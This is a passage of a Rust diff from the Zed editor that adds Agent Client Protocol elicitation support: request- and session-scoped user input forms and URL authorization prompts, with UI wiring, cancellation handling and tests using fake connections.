+            };
+            assert_eq!(scope.request_id, request_id);
+            elicitation.id.clone()
+        });
+        assert!(
+            connection.sessions.borrow().is_empty(),
+            "auth-time request-scoped elicitations must not require a session"
+        );
+
+        let expected_content = std::collections::BTreeMap::from([(
+            "name".to_string(),
+            acp::ElicitationContentValue::from("Ada"),
+        )]);
+        store.update(cx, |store, cx| {
+            store.respond_to_elicitation(
+                &elicitation_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                    acp::ElicitationAcceptAction::new().content(expected_content.clone()),
+                )),
+                cx,
+            );
+        });
+
+        let response = response_rx
+            .recv()
+            .await
+            .expect("fake auth flow should receive elicitation response");
+        assert_eq!(
+            response.action,
+            acp::ElicitationAction::Accept(
+                acp::ElicitationAcceptAction::new().content(expected_content)
+            )
+        );
+        auth_task.await.expect("auth should complete");
+    }
+
+    #[gpui::test]
+    async fn request_scoped_url_elicitation_completion_after_create_is_observed(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_feature_flags_test(cx);
+        cx.update(|cx| {
+            cx.update_flags(false, vec![AcpBetaFeatureFlag::NAME.to_string()]);
+        });
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree("/", serde_json::json!({ "a": {} })).await;
+        let project = project::Project::test(fs, [std::path::Path::new("/a")], cx).await;
+
+        let request_id = acp::RequestId::Number(1);
+        let url_elicitation_id = acp::ElicitationId::new("auth-url");
+        let (harness, response_rx) =
+            test_support::connect_fake_acp_connection_with_auth_elicitation_completion(
+                project,
+                acp::CreateElicitationRequest::new(
+                    acp::ElicitationUrlMode::new(
+                        acp::ElicitationRequestScope::new(request_id.clone()),
+                        url_elicitation_id.clone(),
+                        "https://auth.example.com/device",
+                    ),
+                    "Authorize Zed in your browser",
+                ),
+                acp::CompleteElicitationNotification::new(url_elicitation_id),
+                cx,
+            )
+            .await;
+        let connection = harness.connection.clone();
+        let auth_task =
+            cx.update(|cx| connection.authenticate(acp::AuthMethodId::new("login"), cx));
+        cx.run_until_parked();
+
+        let response = response_rx
+            .recv()
+            .await
+            .expect("fake auth flow should receive elicitation response");
+        assert_eq!(
+            response.action,
+            acp::ElicitationAction::Accept(acp::ElicitationAcceptAction::new())
+        );
+
+        let store = connection
+            .request_elicitations()
+            .expect("ACP connections expose request-scoped elicitations");
+        store.read_with(cx, |store, _| {
+            let [elicitation] = store.elicitations() else {
+                panic!(
+                    "expected one request-scoped elicitation, got {:?}",
+                    store.elicitations()
+                );
+            };
+            let acp::ElicitationScope::Request(scope) = elicitation.request.scope() else {
+                panic!("expected request-scoped elicitation");
+            };
+            assert_eq!(scope.request_id, request_id);
+            assert!(matches!(
+                elicitation.status,
+                acp_thread::ElicitationStatus::Completed
+            ));
+        });
+
+        auth_task.await.expect("auth should complete");
+    }
+
+    #[gpui::test]
+    async fn request_scoped_elicitation_ignores_open_sessions(cx: &mut gpui::TestAppContext) {
+        init_feature_flags_test(cx);
+        cx.update(|cx| {
+            cx.update_flags(false, vec![AcpBetaFeatureFlag::NAME.to_string()]);
+        });
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree("/", serde_json::json!({ "a": {} })).await;
+        let project = project::Project::test(fs, [std::path::Path::new("/a")], cx).await;
+
+        let request_id = acp::RequestId::Number(1);
+        let (harness, response_rx) =
+            test_support::connect_fake_acp_connection_with_auth_elicitation(
+                project.clone(),
+                acp::CreateElicitationRequest::new(
+                    acp::ElicitationFormMode::new(
+                        acp::ElicitationRequestScope::new(request_id.clone()),
+                        acp::ElicitationSchema::new().string("name", true),
+                    ),
+                    "Provide a name",
+                ),
+                cx,
+            )
+            .await;
+        let connection = harness.connection.clone();
+        let work_dirs = util::path_list::PathList::new(&[std::path::Path::new("/a")]);
+
+        let first_thread = cx
+            .update(|cx| {
+                connection.clone().load_session(
+                    acp::SessionId::new("session-1"),
+                    project.clone(),
+                    work_dirs.clone(),
+                    None,
+                    cx,
+                )
+            })
+            .await
+            .expect("first load_session should succeed");
+        let second_thread = cx
+            .update(|cx| {
+                connection.clone().load_session(
+                    acp::SessionId::new("session-2"),
+                    project,
+                    work_dirs,
+                    None,
+                    cx,
+                )
+            })
+            .await
+            .expect("second load_session should succeed");
+        cx.run_until_parked();
+        assert_eq!(
+            connection.sessions.borrow().len(),
+            2,
+            "test setup should have multiple open sessions"
+        );
+
+        let auth_task =
+            cx.update(|cx| connection.authenticate(acp::AuthMethodId::new("login"), cx));
+        cx.run_until_parked();
+
+        let store = connection
+            .request_elicitations()
+            .expect("ACP connections expose request-scoped elicitations");
+        let elicitation_id = store.read_with(cx, |store, _| {
+            let [elicitation] = store.elicitations() else {
+                panic!(
+                    "expected one request-scoped elicitation, got {:?}",
+                    store.elicitations()
+                );
+            };
+            let acp::ElicitationScope::Request(scope) = elicitation.request.scope() else {
+                panic!("expected request-scoped elicitation");
+            };
+            assert_eq!(scope.request_id, request_id);
+            elicitation.id.clone()
+        });
+
+        for thread in [first_thread, second_thread] {
+            thread.read_with(cx, |thread, _| {
+                assert!(
+                    thread.entries().iter().all(|entry| !matches!(
+                        entry,
+                        acp_thread::AgentThreadEntry::Elicitation(_)
+                    )),
+                    "request-scoped elicitation should not be inserted into a session thread"
+                );
+            });
+        }
+
+        store.update(cx, |store, cx| {
+            store.respond_to_elicitation(
+                &elicitation_id,
+                acp::CreateElicitationResponse::new(acp::ElicitationAction::Decline),
+                cx,
+            );
+        });
+
+        let response = response_rx
+            .recv()
+            .await
+            .expect("fake auth flow should receive elicitation response");
+        assert_eq!(response.action, acp::ElicitationAction::Decline);
+        auth_task.await.expect("auth should complete");
+    }
+
     #[test]
     fn cursor_client_capabilities_include_parameterized_model_picker_meta() {
         let capabilities = client_capabilities_for_agent(&AgentId::new(CURSOR_ID), false);
@@ -3243,10 +3720,12 @@ mod tests {
         let sessions = Rc::new(RefCell::new(HashMap::default()));
 
         let connection = cx.update(|cx| {
+            let request_elicitations = cx.new(|_| ElicitationStore::default());
             AcpConnection::new_for_test(
                 client_conn,
                 sessions,
                 acp::AgentCapabilities::default(),
+                request_elicitations,
                 WeakEntity::new_invalid(),
                 client_io_task,
                 Task::ready(()),
@@ -3519,9 +3998,11 @@ mod tests {
 
         let agent_capabilities = response.agent_capabilities;
 
+        let request_elicitations = cx.new(|_| ElicitationStore::default());
         let dispatch_context = ClientContext {
             sessions: sessions.clone(),
             session_list: client_session_list.clone(),
+            request_elicitations: request_elicitations.clone(),
         };
         // `TestAppContext::spawn` hands out an `AsyncApp` by value, whereas the
         // production path uses `Context::spawn` which hands out `&mut AsyncApp`.
@@ -3545,6 +4026,7 @@ mod tests {
                 client_conn,
                 sessions,
                 agent_capabilities,
+                request_elicitations,
                 agent_server_store,
                 client_io_task,
                 dispatch_task,
@@ -3709,6 +4191,7 @@ mod tests {
                     acp_thread::AgentThreadEntry::UserMessage(_) => "user",
                     acp_thread::AgentThreadEntry::AssistantMessage(_) => "assistant",
                     acp_thread::AgentThreadEntry::ToolCall(_) => "tool_call",
+                    acp_thread::AgentThreadEntry::Elicitation(_) => "elicitation",
                     acp_thread::AgentThreadEntry::CompletedPlan(_) => "plan",
                     acp_thread::AgentThreadEntry::ContextCompaction(_) => "compaction",
                 })
@@ -4164,6 +4647,135 @@ fn handle_request_permission(
     .detach();
 }
 
+fn handle_create_elicitation(
+    args: acp::CreateElicitationRequest,
+    responder: Responder<acp::CreateElicitationResponse>,
+    cx: &mut AsyncApp,
+    ctx: &ClientContext,
+) {
+    if !cx.update(|cx| cx.has_flag::<AcpBetaFeatureFlag>()) {
+        return respond_err(
+            responder,
+            acp::Error::invalid_params().data("elicitation support requires the ACP beta flag"),
+        );
+    }
+
+    match args.scope() {
+        acp::ElicitationScope::Session(scope) => {
+            let thread = match session_thread(ctx, &scope.session_id) {
+                Ok(t) => t,
+                Err(e) => return respond_err(responder, e),
+            };
+
+            let (elicitation_id, task) = match thread
+                .update(cx, |thread, cx| {
+                    thread.request_elicitation_with_id(args, cx)
+                })
+                .flatten_acp()
+            {
+                Ok(task) => task,
+                Err(e) => return respond_err(responder, e),
+            };
+
+            let cancellation = responder.cancellation();
+            cx.spawn(async move |cx| {
+                let result: Result<_, acp::Error> = cancellation
+                    .run_until_cancelled(async { Ok(task.await) })
+                    .await;
+
+                match result {
+                    Ok(response) => {
+                        responder.respond(response).log_err();
+                    }
+                    Err(e) => {
+                        if e.code == ErrorCode::RequestCancelled {
+                            thread
+                                .update(cx, |thread, cx| {
+                                    thread.cancel_elicitation(&elicitation_id, cx)
+                                })
+                                .log_err();
+                        }
+                        respond_err(responder, e);
+                    }
+                }
+            })
+            .detach();
+        }
+        acp::ElicitationScope::Request(_) => {
+            let store = ctx.request_elicitations.clone();
+            let (elicitation_id, task) =
+                match store.update(cx, |store, cx| store.request_elicitation_with_id(args, cx)) {
+                    Ok(task) => task,
+                    Err(e) => return respond_err(responder, e),
+                };
+            let store = store.downgrade();
+
+            let cancellation = responder.cancellation();
+            cx.spawn(async move |cx| {
+                let result: Result<_, acp::Error> = cancellation
+                    .run_until_cancelled(async { Ok(task.await) })
+                    .await;
+
+                match result {
+                    Ok(response) => {
+                        responder.respond(response).log_err();
+                    }
+                    Err(e) => {
+                        if e.code == ErrorCode::RequestCancelled {
+                            store
+                                .update(cx, |store, cx| {
+                                    store.cancel_elicitation(&elicitation_id, cx)
+                                })
+                                .log_err();
+                        }
+                        respond_err(responder, e);
+                    }
+                }
+            })
+            .detach();
+        }
+        _ => {
+            respond_err(
+                responder,
+                acp::Error::invalid_params().data("unknown elicitation scope"),
+            );
+        }
+    }
+}
+
+fn handle_complete_elicitation(
+    args: acp::CompleteElicitationNotification,
+    cx: &mut AsyncApp,
+    ctx: &ClientContext,
+) {
+    if !cx.update(|cx| cx.has_flag::<AcpBetaFeatureFlag>()) {
+        return;
+    }
+
+    let threads = ctx
+        .sessions
+        .borrow()
+        .values()
+        .map(|session| session.thread.clone())
+        .collect::<Vec<_>>();
+    let request_elicitations = ctx.request_elicitations.clone();
+    let elicitation_id = args.elicitation_id;
+
+    cx.spawn(async move |cx| {
+        for thread in threads {
+            thread
+                .update(cx, |thread, cx| {
+                    thread.complete_url_elicitation(&elicitation_id, cx);
+                })
+                .ok();
+        }
+        request_elicitations.update(cx, |store, cx| {
+            store.complete_url_elicitation(&elicitation_id, cx);
+        });
+    })
+    .detach();
+}
+
 fn handle_write_text_file(
     args: acp::WriteTextFileRequest,
     responder: Responder<acp::WriteTextFileResponse>,
diff --git a/crates/agent_ui/src/agent_diff.rs b/crates/agent_ui/src/agent_diff.rs
index 8a329bdc7c84fa..ba731ec3b9ea23 100644
--- a/crates/agent_ui/src/agent_diff.rs
+++ b/crates/agent_ui/src/agent_diff.rs
@@ -1437,6 +1437,8 @@ impl AgentDiff {
             | AcpThreadEvent::EntriesRemoved(_)
             | AcpThreadEvent::ToolAuthorizationRequested(_)
             | AcpThreadEvent::ToolAuthorizationReceived(_)
+            | AcpThreadEvent::ElicitationRequested(_)
+            | AcpThreadEvent::ElicitationResponded(_)
             | AcpThreadEvent::PromptCapabilitiesUpdated
             | AcpThreadEvent::AvailableCommandsUpdated(_)
             | AcpThreadEvent::Retry(_)
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index 5267e7adfa6eca..350d9c2f912569 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -1,8 +1,9 @@
 use acp_thread::{
     AcpThread, AcpThreadEvent, AgentThreadEntry, AssistantMessage, AssistantMessageChunk,
-    AuthRequired, ClientUserMessageId, LoadError, MaxOutputTokensError, MentionUri,
-    PermissionOptionChoice, PermissionOptions, PermissionPattern, RetryStatus,
-    SelectedPermissionOutcome, ThreadStatus, ToolCall, ToolCallContent, ToolCallStatus,
+    AuthRequired, ClientUserMessageId, ElicitationEntryId, ElicitationStatus, ElicitationStore,
+    LoadError, MaxOutputTokensError, MentionUri, PermissionOptionChoice, PermissionOptions,
+    PermissionPattern, RetryStatus, SelectedPermissionOutcome, ThreadStatus, ToolCall,
+    ToolCallContent, ToolCallStatus,
 };
 use acp_thread::{AgentConnection, Plan};
 use action_log::{ActionLog, ActionLogTelemetry, DiffStats};
@@ -22,6 +23,7 @@ use editor::scroll::Autoscroll;
 use editor::{
     Editor, EditorEvent, EditorMode, MultiBuffer, PathKey, SelectionEffects, SizingBehavior,
 };
+use feature_flags::{AcpBetaFeatureFlag, FeatureFlagAppExt as _};
 use file_icons::FileIcons;
 use fs::Fs;
 use futures::FutureExt as _;
@@ -40,6 +42,9 @@ use markdown::{
 use parking_lot::{Mutex, RwLock};
 use project::{AgentId, AgentServerStore, Project, ProjectEntryId, ProjectPath};
 
+use crate::conversation_view::elicitation::{
+    ElicitationCard, ElicitationCardHandlers, ElicitationFormState, should_render_elicitation,
+};
 use crate::message_editor::SessionCapabilities;
 use crate::{AgentThreadSource, DEFAULT_THREAD_TITLE, resolve_agent_image};
 use lru::LruCache;
@@ -103,6 +108,7 @@ const TOKEN_THRESHOLD: u64 = 250;
 
 pub(crate) const DRAFT_PROMPT_PERSIST_DEBOUNCE: Duration = Duration::from_millis(250);
 
+pub(crate) mod elicitation;
 mod message_queue;
 mod thread_search_bar;
 mod thread_view;
@@ -261,6 +267,7 @@ impl ProfileProvider for Entity<agent::Thread> {
 pub(crate) struct Conversation {
     threads: HashMap<acp::SessionId, Entity<AcpThread>>,
     permission_requests: IndexMap<acp::SessionId, Vec<acp::ToolCallId>>,
+    elicitation_requests: IndexMap<acp::SessionId, Vec<ElicitationEntryId>>,
     subscriptions: Vec<Subscription>,
     updated_at: Option<Instant>,
 }
@@ -270,7 +277,7 @@ impl Conversation {
         let session_id = thread.read(cx).session_id().clone();
         let subscription = cx.subscribe(&thread, {
             let session_id = session_id.clone();
-            move |this, _thread, event, _cx| {
+            move |this, _thread, event, cx| {
                 this.updated_at = Some(Instant::now());
                 match event {
                     AcpThreadEvent::ToolAuthorizationRequested(id) => {
@@ -287,6 +294,23 @@ impl Conversation {
                             }
                         }
                     }
+                    AcpThreadEvent::ElicitationRequested(id)
+                        if cx.has_flag::<AcpBetaFeatureFlag>() =>
+                    {
+                        this.elicitation_requests
+                            .entry(session_id.clone())
+                            .or_default()
+                            .push(id.clone());
+                    }
+                    AcpThreadEvent::ElicitationRequested(_) => {}
+                    AcpThreadEvent::ElicitationResponded(id) => {
+                        if let Some(elicitations) = this.elicitation_requests.get_mut(&session_id) {
+                            elicitations.retain(|elicitation_id| elicitation_id != id);
+                            if elicitations.is_empty() {
+                                this.elicitation_requests.shift_remove(&session_id);
+                            }
+                        }
+                    }
                     AcpThreadEvent::NewEntry
                     | AcpThreadEvent::StatusChanged
                     | AcpThreadEvent::TitleUpdated
@@ -391,6 +415,24 @@ impl Conversation {
             .unwrap_or(0)
     }
 
+    pub fn respond_to_elicitation(
+        &mut self,
+        session_id: acp::SessionId,
+        elicitation_id: ElicitationEntryId,
+        response: acp::CreateElicitationResponse,
+        cx: &mut Context<Self>,
+    ) -> Option<()> {
+        if !cx.has_flag::<AcpBetaFeatureFlag>() {
+            return None;
+        }
+
+        let thread = self.threads.get(&session_id)?.clone();
+        thread.update(cx, |thread, cx| {
+            thread.respond_to_elicitation(&elicitation_id, response, cx);
+        });
+        Some(())
+    }
+
     pub fn authorize_pending_tool_call(
         &mut self,
         session_id: &acp::SessionId,
@@ -526,6 +568,8 @@ fn affects_thread_metadata(event: &AcpThreadEvent) -> bool {
         | AcpThreadEvent::TitleUpdated
         | AcpThreadEvent::ToolAuthorizationRequested(_)
         | AcpThreadEvent::ToolAuthorizationReceived(_)
+        | AcpThreadEvent::ElicitationRequested(_)
+        | AcpThreadEvent::ElicitationResponded(_)
         | AcpThreadEvent::Stopped(_)
         | AcpThreadEvent::Error
         | AcpThreadEvent::LoadError(_)
@@ -575,6 +619,7 @@ pub struct ConversationView {
     /// Cache + worktree snapshot for resolving paths in markdown code spans.
     /// Shared with the child [`ThreadView`] when one is constructed.
     pub(crate) code_span_resolver: AgentCodeSpanResolver,
+    request_elicitation_form_states: HashMap<ElicitationEntryId, ElicitationFormState>,
     _subscriptions: Vec<Subscription>,
 }
 
@@ -686,8 +731,14 @@ impl ConversationView {
 }
 
 enum ServerState {
-    Loading { _loading: Entity<LoadingView> },
-    LoadError { error: LoadError },
+    Loading {
+        _loading: Entity<LoadingView>,
+        connection: Option<Rc<dyn AgentConnection>>,
+        _request_elicitation_subscription: Option<Subscription>,
+    },
+    LoadError {
+        error: LoadError,
+    },
     Connected(ConnectedServerState),
 }
 
@@ -700,6 +751,7 @@ pub struct ConnectedServerState {
     connection: Rc<dyn AgentConnection>,
     conversation: Entity<Conversation>,
     _connection_entry_subscription: Subscription,
+    _request_elicitation_subscription: Option<Subscription>,
 }
 
 enum AuthState {
@@ -800,6 +852,7 @@ impl ConversationView {
         }));
 
         cx.on_release(|this, cx| {
+            this.request_elicitation_form_states.clear();
             if let Some(connected) = this.as_connected() {
                 connected.close_all_sessions(cx).detach();
             }
@@ -845,16 +898,29 @@ impl ConversationView {
             last_theme_id: Some(cx.theme().id.clone()),
             draft_prompt_persist_task: None,
             code_span_resolver,
+            request_elicitation_form_states: HashMap::default(),
             _subscriptions: subscriptions,
             focus_handle: cx.focus_handle(),
         }
     }
 
     fn set_server_state(&mut self, state: ServerState, cx: &mut Context<Self>) {
+        let previous_request_elicitation_connection = self.request_elicitation_connection();
+        let next_request_elicitation_connection =
+            Self::request_elicitation_connection_for_state(&state);
+
         if let Some(connected) = self.as_connected() {
             connected.close_all_sessions(cx).detach();
         }
 
+        if let Some(connection) = previous_request_elicitation_connection
+            && !next_request_elicitation_connection
+                .as_ref()
+                .is_some_and(|next_connection| Rc::ptr_eq(&connection, next_connection))
+        {
+            self.request_elicitation_form_states.clear();
+        }
+
         self.server_state = state;
         cx.emit(StateChange);
         cx.emit(AcpServerViewEvent::ActiveThreadChanged);
@@ -864,6 +930,53 @@ impl ConversationView {
         cx.notify();
     }
 
+    fn request_elicitation_subscription(
+        connection: &Rc<dyn AgentConnection>,
+        cx: &mut Context<Self>,
+    ) -> Option<Subscription> {
+        let store = connection.request_elicitations()?;
+        Some(cx.observe(&store, |this, _store, cx| {
+            if let Some(active_thread) = this.active_thread().cloned() {
+                active_thread.update(cx, |_thread, cx| cx.notify());
+            }
+            cx.notify();
+        }))
+    }
+
+    fn request_elicitation_connection(&self) -> Option<Rc<dyn AgentConnection>> {
+        Self::request_elicitation_connection_for_state(&self.server_state)
+    }
+
+    fn active_thread_renders_request_elicitations(&self) -> bool {
+        match &self.server_state {
+            ServerState::Connected(connected) => {
+                connected.auth_state.is_ok() && connected.active_view().is_some()
+            }
+            _ => false,
+        }
+    }
+
+    fn request_elicitation_connection_for_state(
+        state: &ServerState,
+    ) -> Option<Rc<dyn AgentConnection>> {
+        match state {
+            ServerState::Loading {
+                connection: Some(connection),
+                ..
+            } => Some(connection.clone()),
+            ServerState::Connected(connected) => Some(connected.connection.clone()),
+            ServerState::Loading {
+                connection: None, ..
+            }
+            | ServerState::LoadError { .. } => None,
+        }
+    }
+
+    fn request_elicitation_store(&self) -> Option<Entity<ElicitationStore>> {
+        self.request_elicitation_connection()?
+            .request_elicitations()
+    }
+
     fn reset(&mut self, window: &mut Window, cx: &mut Context<Self>) {
         let (resume_session_id, work_dirs, title) = self
             .root_thread_view()
@@ -889,6 +1002,7 @@ impl ConversationView {
                 (session_id, work_dirs, title)
             });
 
+        self.clear_resolved_request_elicitations(cx);
         self.loading_status = None;
 
         let state = Self::initial_state(
@@ -978,6 +1092,22 @@ impl ConversationView {
                 }
             };
 
+            this.update_in(cx, |this, _window, cx| {
+                let request_elicitation_subscription =
+                    Self::request_elicitation_subscription(&connection, cx);
+                if let ServerState::Loading {
+                    connection: loading_connection,
+                    _request_elicitation_subscription,
+                    ..
+                } = &mut this.server_state
+                {
+                    *loading_connection = Some(connection.clone());
+                    *_request_elicitation_subscription = request_elicitation_subscription;
+                    cx.notify();
+                }
+            })
+            .log_err();
+
             telemetry::event!(
                 "Agent Thread Started",
                 agent = connection.telemetry_id(),
@@ -1050,6 +1180,7 @@ impl ConversationView {
             this.update_in(cx, |this, window, cx| {
                 match result {
                     Ok(thread) => {
+                        this.clear_resolved_request_elicitations_for_connection(&connection, cx);
                         let root_session_id = thread.read(cx).session_id().clone();
 
                         let conversation = cx.new(|cx| {
@@ -1076,6 +1207,8 @@ impl ConversationView {
                         }
 
                         this.root_session_id = Some(root_session_id.clone());
+                        let request_elicitation_subscription =
+                            Self::request_elicitation_subscription(&connection, cx);
                         this.set_server_state(
                             ServerState::Connected(ConnectedServerState {
                                 connection,
@@ -1084,6 +1217,7 @@ impl ConversationView {
                                 threads: HashMap::from_iter([(root_session_id, current)]),
                                 conversation,
                                 _connection_entry_subscription: connection_entry_subscription,
+                                _request_elicitation_subscription: request_elicitation_subscription,
                             }),
                             cx,
                         );
@@ -1106,6 +1240,8 @@ impl ConversationView {
 
         ServerState::Loading {
             _loading: loading_view,
+            connection: None,
+            _request_elicitation_subscription: None,
         }
     }
 
@@ -1376,6 +1512,8 @@ impl ConversationView {
                     this.focus_handle.focus(window, cx)
                 }
             } else {
+                let request_elicitation_subscription =
+                    Self::request_elicitation_subscription(&connection, cx);
                 this.set_server_state(
                     ServerState::Connected(ConnectedServerState {
                         auth_state,
@@ -1384,6 +1522,7 @@ impl ConversationView {
                         connection,
                         conversation: cx.new(|_cx| Conversation::default()),
                         _connection_entry_subscription: Subscription::new(|| {}),
+                        _request_elicitation_subscription: request_elicitation_subscription,
                     }),
                     cx,
                 );
@@ -1521,6 +1660,7 @@ impl ConversationView {
                         );
                     });
                     active.update(cx, |active, cx| {
+                        active.sync_elicitation_state_for_entry(index, window, cx);
                         active.sync_editor_mode_for_empty_state(cx);
                         active.sync_generating_indicator(cx);
                     });
@@ -1535,6 +1675,7 @@ impl ConversationView {
                     });
                     list_state.remeasure_items(*index..*index + 1);
                     active.update(cx, |active, cx| {
+                        active.sync_elicitation_state_for_entry(*index, window, cx);
                         active.auto_expand_streaming_thought(cx);
                         active.sync_generating_indicator(cx);
                     });
@@ -1558,6 +1699,11 @@ impl ConversationView {
                 self.notify_with_sound("Waiting for tool confirmation", IconName::Info, window, cx);
             }
             AcpThreadEvent::ToolAuthorizationReceived(_) => {}
+            AcpThreadEvent::ElicitationRequested(_) if cx.has_flag::<AcpBetaFeatureFlag>() => {
+                self.notify_with_sound("Waiting for input", IconName::Info, window, cx);
+            }
+            AcpThreadEvent::ElicitationRequested(_) => {}
+            AcpThreadEvent::ElicitationResponded(_) => {}
             AcpThreadEvent::Retry(retry) => {
                 if let Some(active) = self.thread_view(&session_id) {
                     active.update(cx, |active, _cx| {
@@ -1868,6 +2014,7 @@ impl ConversationView {
 
                     this.update_in(cx, |this, window, cx| {
                         if let Err(err) = result {
+                            this.cancel_request_elicitations(cx);
                             if let Some(ConnectedServerState {
                                 auth_state:
                                     AuthState::Unauthenticated {
@@ -1918,6 +2065,7 @@ impl ConversationView {
 
                 this.update_in(cx, |this, window, cx| {
                     if let Err(err) = result {
+                        this.cancel_request_elicitations(cx);
                         if let Some(ConnectedServerState {
                             auth_state:
                                 AuthState::Unauthenticated {
@@ -2256,6 +2404,311 @@ impl ConversationView {
             .into_any_element()
     }
 
+    fn sync_request_elicitation_states(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        if !cx.has_flag::<AcpBetaFeatureFlag>() {
+            self.request_elicitation_form_states.clear();
+            return;
+        }
+
+        let Some(store) = self.request_elicitation_store() else {
+            self.request_elicitation_form_states.clear();
+            return;
+        };
+
+        let elicitations = store
+            .read(cx)
+            .elicitations()
+            .iter()
+            .map(|elicitation| {
+                let is_pending = matches!(elicitation.status, ElicitationStatus::Pending { .. });
+                let schema = match &elicitation.request.mode {
+                    acp::ElicitationMode::Form(mode) => Some(mode.requested_schema.clone()),
+                    _ => None,
+                };
+                (elicitation.id.clone(), is_pending, schema)
+            })
+            .collect::<Vec<_>>();
+
+        let known_ids = elicitations
+            .iter()
+            .map(|(id, _, _)| id.clone())
+            .collect::<HashSet<_>>();
+        self.request_elicitation_form_states
+            .retain(|id, _| known_ids.contains(id));
+
+        for (id, is_pending, schema) in elicitations {
+            if is_pending
+                && let Some(schema) = schema
+                && !self.request_elicitation_form_states.contains_key(&id)
+            {
+                self.request_elicitation_form_states
+                    .insert(id, ElicitationFormState::new(&schema, window, cx));
+            } else if !is_pending {
+                self.request_elicitation_form_states.remove(&id);
+            }
+        }
+    }
+
+    fn render_request_elicitations(
+        &self,
+        connection: &Rc<dyn AgentConnection>,
+        view: WeakEntity<Self>,
+        cx: &App,
+    ) -> Vec<AnyElement> {
+        if !cx.has_flag::<AcpBetaFeatureFlag>() {
+            return Vec::new();
+        }
+
+        let Some(store) = connection.request_elicitations() else {
+            return Vec::new();
+        };
+
+        let handlers = Self::request_elicitation_card_handlers(view);
+
+        store
+            .read(cx)
+            .elicitations()
+            .iter()
+            .enumerate()
+            .filter(|(_, elicitation)| should_render_elicitation(elicitation))
+            .map(|(ix, elicitation)| {
+                ElicitationCard::new(
+                    ix,
+                    elicitation,
+                    self.request_elicitation_form_states.get(&elicitation.id),
+                    handlers.clone(),
+                )
+                .render(cx)
+                .into_any_element()
+            })
+            .collect()
+    }
+
+    fn request_elicitation_card_handlers(view: WeakEntity<Self>) -> ElicitationCardHandlers {
+        ElicitationCardHandlers::new(
+            {
+                let view = view.clone();
+                move |elicitation_id, window, cx| {
+                    view.update(cx, |this, cx| {
+                        this.submit_request_elicitation(elicitation_id, window, cx);
+                    })
+                    .log_err();
+                }
+            },
+            {
+                let view = view.clone();
+                move |elicitation_id, window, cx| {
+                    view.update(cx, |this, cx| {
+                        this.decline_request_elicitation(elicitation_id, window, cx);
+                    })
+                    .log_err();
+                }
+            },
+            {
+                let view = view.clone();
+                move |elicitation_id, window, cx| {
+                    view.update(cx, |this, cx| {
+                        this.cancel_request_elicitation(elicitation_id, window, cx);
+                    })
+                    .log_err();
+                }
+            },
+            {
+                let view = view.clone();
+                move |elicitation_id, url, window, cx| {
+                    cx.open_url(&url);
+                    view.update(cx, |this, cx| {
+                        this.submit_request_elicitation(elicitation_id, window, cx);
+                    })
+                    .log_err();
+                }
+            },
+            {
+                let view = view.clone();
+                move |elicitation_id, field_name, value, cx| {
+                    view.update(cx, |this, cx| {
+                        this.update_request_elicitation_form_state(
+                            &elicitation_id,
+                            |form| form.set_boolean(&field_name, value),
+                            cx,
+                        );
+                    })
+                    .log_err();
+                }
+            },
+            {
+                let view = view.clone();
+                move |elicitation_id, field_name, value, cx| {
+                    view.update(cx, |this, cx| {
+                        this.update_request_elicitation_form_state(
+                            &elicitation_id,
+                            |form| form.set_single_select(&field_name, value),
+                            cx,
+                        );
+                    })
+                    .log_err();
+                }
+            },
+            move |elicitation_id, field_name, value, selected, cx| {
+                view.update(cx, |this, cx| {
+                    this.update_request_elicitation_form_state(
+                        &elicitation_id,
+                        |form| form.set_multi_select(&field_name, value, selected),
+                        cx,
+                    );
+                })
+                .log_err();
+            },
+        )
+    }
+
+    fn update_request_elicitation_form_state(
+        &mut self,
+        elicitation_id: &ElicitationEntryId,
+        update: impl FnOnce(&mut ElicitationFormState),
+        cx: &mut Context<Self>,
+    ) {
+        if let Some(form) = self.request_elicitation_form_states.get_mut(elicitation_id) {
+            update(form);
+            self.notify_request_elicitation_renderers(cx);
+        }
+    }
+
+    fn notify_request_elicitation_renderers(&self, cx: &mut Context<Self>) {
+        if let Some(active_thread) = self.active_thread().cloned() {
+            active_thread.update(cx, |_thread, cx| cx.notify());
+        }
+        cx.notify();
+    }
+
+    fn submit_request_elicitation(
+        &mut self,
+        elicitation_id: ElicitationEntryId,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if !cx.has_flag::<AcpBetaFeatureFlag>() {
+            return;
+        }
+
+        let Some(store) = self.request_elicitation_store() else {
+            return;
+        };
+
+        let mode = store
+            .read(cx)
+            .elicitation(&elicitation_id)
+            .map(|(_, elicitation)| elicitation.request.mode.clone());
+        let Some(mode) = mode else {
+            return;
+        };
+
+        let response = match mode {
+            acp::ElicitationMode::Form(mode) => {
+                let Some(state) = self.request_elicitation_form_states.get(&elicitation_id) else {
+                    return;
+                };
+                match state.collect(&mode.requested_schema, cx) {
+                    Ok(content) => {
+                        acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                            acp::ElicitationAcceptAction::new().content(content),
+                        ))
+                    }
+                    Err(errors) => {
+                        self.update_request_elicitation_form_state(
+                            &elicitation_id,
+                            |state| state.set_errors(errors),
+                            cx,
+                        );
+                        return;
+                    }
+                }
+            }
+            acp::ElicitationMode::Url(_) => acp::CreateElicitationResponse::new(
+                acp::ElicitationAction::Accept(acp::ElicitationAcceptAction::new()),
+            ),
+            _ => return,
+        };
+
+        self.respond_to_request_elicitation(elicitation_id, response, cx);
+    }
+
+    fn decline_request_elicitation(
+        &mut self,
+        elicitation_id: ElicitationEntryId,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if !cx.has_flag::<AcpBetaFeatureFlag>() {
+            return;
+        }
+
+        self.respond_to_request_elicitation(
+            elicitation_id,
+            acp::CreateElicitationResponse::new(acp::ElicitationAction::Decline),
+            cx,
+        );
+    }
+
+    fn cancel_request_elicitation(
+        &mut self,
+        elicitation_id: ElicitationEntryId,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if !cx.has_flag::<AcpBetaFeatureFlag>() {
+            return;
+        }
+
+        self.respond_to_request_elicitation(
+            elicitation_id,
+            acp::CreateElicitationResponse::new(acp::ElicitationAction::Cancel),
+            cx,
+        );
+    }
+
